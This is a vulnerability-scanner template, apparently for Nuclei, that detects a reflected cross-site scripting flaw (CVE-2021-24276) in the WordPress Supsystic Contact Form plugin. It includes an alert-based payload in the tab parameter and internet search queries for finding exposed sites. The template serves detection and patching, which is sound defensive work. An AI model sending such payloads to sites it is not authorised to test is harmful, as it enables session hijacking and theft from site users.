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id : CVE-2021-24276
info :
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name : WordPress Supsystic Contact Form <1.7.15 - Cross-Site Scripting
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author : dhiyaneshDK
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severity : medium
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description : WordPress Supsystic Contact Form plugin before 1.7.15 contains a cross-site scripting vulnerability. It does not sanitize the tab parameter of its options page before outputting it in an attribute.
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impact : |
Successful exploitation of this vulnerability could allow an attacker to execute arbitrary script code in the victim's browser, leading to potential session hijacking, defacement, or theft of sensitive information.
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remediation : |
Update to the latest version of the WordPress Supsystic Contact Form plugin (1.7.15 or higher) to mitigate this vulnerability.
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reference :
- https://wpscan.com/vulnerability/1301123c-5e63-432a-ab90-3221ca532d9c
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- http://packetstormsecurity.com/files/164308/WordPress-Contact-Form-1.7.14-Cross-Site-Scripting.html
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- https://nvd.nist.gov/vuln/detail/CVE-2021-24276
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- https://github.com/ARPSyndicate/cvemon
- https://github.com/ARPSyndicate/kenzer-templates
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classification :
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cvss-metrics : CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N
cvss-score : 6.1
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cve-id : CVE-2021-24276
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cwe-id : CWE-79
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epss-score : 0.00231
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epss-percentile : 0.61154
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cpe : cpe:2.3:a:supsystic:contact_form:*:*:*:*:*:wordpress:*:*
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metadata :
max-request : 1
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vendor : supsystic
product : contact_form
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framework : wordpress
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publicwww-query : /wp-content/plugins/contact-form-plugin/
shodan-query : http.html:/wp-content/plugins/contact-form-plugin/
fofa-query : body=/wp-content/plugins/contact-form-plugin/
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tags : cve2021,cve,wordpress,wp-plugin,wpscan,packetstorm,supsystic
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http :
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- method : GET
path :
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- '{{BaseURL}}/wp-admin/admin.php?page=contact-form-supsystic&tab=%3C%2Fscript%3E%3Cscript%3Ealert%28document.domain%29%3C%2Fscript%3E'
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matchers-condition : and
matchers :
- type : word
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part : body
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words :
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- '</script><script>alert(document.domain)</script>'
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- type : word
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part : header
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words :
- "text/html"
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- type : status
status :
- 200
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# digest: 4a0a00473045022100dc5ae696a3713e5efe99907c2c5316b86c4f55c217dfe61338fc36f6c3879dc002204f97750378dd8bb6166a795ddb6f7f0b7013314c8985d1232d49854a8f34f942:922c64590222798bb761d5b6d8e72950